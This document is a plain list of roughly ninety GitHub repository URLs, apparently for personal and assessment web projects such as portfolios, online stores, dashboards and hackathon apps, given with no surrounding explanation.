    https://github.com/Al-amin07/bigso_app
    https://github.com/shermuhammad786/gs-hackathon
    https://github.com/smit455/big_bazaar-store
    https://github.com/jbaze/borec-basket-claude
    https://github.com/Al-amin07/project-9-client
    https://github.com/farihulrouf/orcx_fe
    https://github.com/wahab3913/kalibar-m2
    https://github.com/finom/realtime-kanban
    https://github.com/rejoan121615/heritage-trial-overlay
    https://github.com/Ruwanima/Portfolio
    https://github.com/Lithira-Sasmitha/social_app
    https://github.com/coderkhalide/selorax-canvas
    https://github.com/Button-20/juzbuild-background-processor
    https://github.com/Muhammadfaizanjanjua109/frammerMotion
    https://github.com/AHAdd40451/task-sheet
    https://github.com/zaheerahmad92001/pettro
    https://github.com/MahadA456/mahad-portfolio
    https://github.com/Joyeta-Mondal/Sparktech-Agency-assessment
    https://github.com/webprogramminghack/b3-practice-31
    https://github.com/Adithyahewage/Salon-demo
    https://github.com/akashstwt/eth-global-cryptowiki
    https://github.com/Gowreesh-VT/AWS-Web-Dev
    https://github.com/dynamicdreamz1/startup-voyager
    https://github.com/farhanmasood-se/live-docs
    https://github.com/dmytro-chushko/form-editor
    https://github.com/Sameer447/launchpad-incubator-backend
    https://github.com/SouravDn-p/Advance-HealthCare-Next-Level-of-Smarter-Better-Health
    https://github.com/SouravDn-p/Scribe-AI-Powered-Note-Taking-App
    https://github.com/SouravDn-p/multi-form-transaction
    https://github.com/SouravDn-p/authjs-next-authentications
    https://github.com/abdullah2310ishaq/qudrat
    https://github.com/SouravDn-p/PathFinder---Smarter-Admissions-Simpler-Bookings
    https://github.com/abdullah2310ishaq/resposive-doctor-websote
    https://github.com/abdullah2310ishaq/ecommerce_jewellery_store
    https://github.com/Al-amin07/pioneer
    https://github.com/smit455/big_bazaar-admin
    https://github.com/smit455/Task_manager
    https://github.com/dhruvmalik007/Stratavault
    https://github.com/finom/blok
    https://github.com/rejoan121615/website-generator
    https://github.com/abdullah2310ishaq/personal-portfolio
    https://github.com/Joyeta-Mondal/arklab-ai-assessment
    https://github.com/Adithyahewage/Gym-demo
    https://github.com/Gowreesh-VT/VITopoly
    https://github.com/farhanmasood-se/slack-clone
    https://github.com/Socheema/clot
    https://github.com/Shumaim-Naseer-Kiyani/project1
    https://github.com/Muhammad-Hammad-Abbasi/next.js-hackathon
    https://github.com/Germs31/small-traslator-ai
    https://github.com/prudywn/GrowthProject
    https://github.com/FaizaFarooq23/photo-gallery
    https://github.com/dbankston2409/Sober-Deck
    https://github.com/mahadi-zulfiker/Nextjs-Prisma-Portfolio-Frontend
    https://github.com/seemab-ahmed/blockdag
    https://github.com/abdullah2310ishaq/zee-admin
    https://github.com/lnbglondoncoin/lnbglondon
    https://github.com/ahmadraza382/Ferrano
    https://github.com/JPChoyon/bikeBotics
    https://github.com/Anas-Ali-3673/caa-interface
    https://github.com/akashstwt/fleek
    https://github.com/wolfstudiosai/havocker
    https://github.com/mdemong87/theamfisher-assignment
    https://github.com/eftakhar-491/L-2_B-6-Assignment-4-frontend
    https://github.com/mohsulthana/yc-directory-nextjs
    https://github.com/deepaksh798/dashboard-second
    https://github.com/mahadi-zulfiker/Hishabee_Frontend_Task
    https://github.com/Ibraz94/inventory_management_system
    https://github.com/mdnuruzzamannirob/your-capture-awards
    https://github.com/Germs31/expense-tracking
    https://github.com/Adharshms/builder
    https://github.com/Nathanim1919/Avaitor-game
    https://github.com/saifullah-max/Navo-1
    https://github.com/kanchana404/web
    https://github.com/kanchana404/kaidenz-clothing
    https://github.com/Muhammad-Hammad-Abbasi/persnol_portfolio_2
    https://github.com/Salman1205/MailAssists-CRM
    https://github.com/SouravDn-p/Innovative-task-sd246
    https://github.com/mahadi-zulfiker/PH-Job-Task-Web-Instructor
    https://github.com/mahadi-zulfiker/Raintor-Job-Task
    https://github.com/mahadi-zulfiker/SparkTech-Job-Task
    https://github.com/seemab-ahmed/oradentclinic-website
    https://github.com/AhmadRazaKhokhar1/url-shortner-frontend
    https://github.com/nipun-imesh/Fly-connects-web-FN
    https://github.com/Barosz30/Portfolio
    https://github.com/web-ghoul/movie-app
    https://github.com/Dawit212119/DMS
    https://github.com/Al-amin07/project_4_frontend
    https://github.com/zeeshanrafiqrana/metropolis-arena-frontend
    https://github.com/Wasee-Ur-Rehman/DarziXpress
    https://github.com/Flitzinteractive/FlitzSpace
    https://github.com/addygeek/Walmart-Inventory-Clearance-Optimizer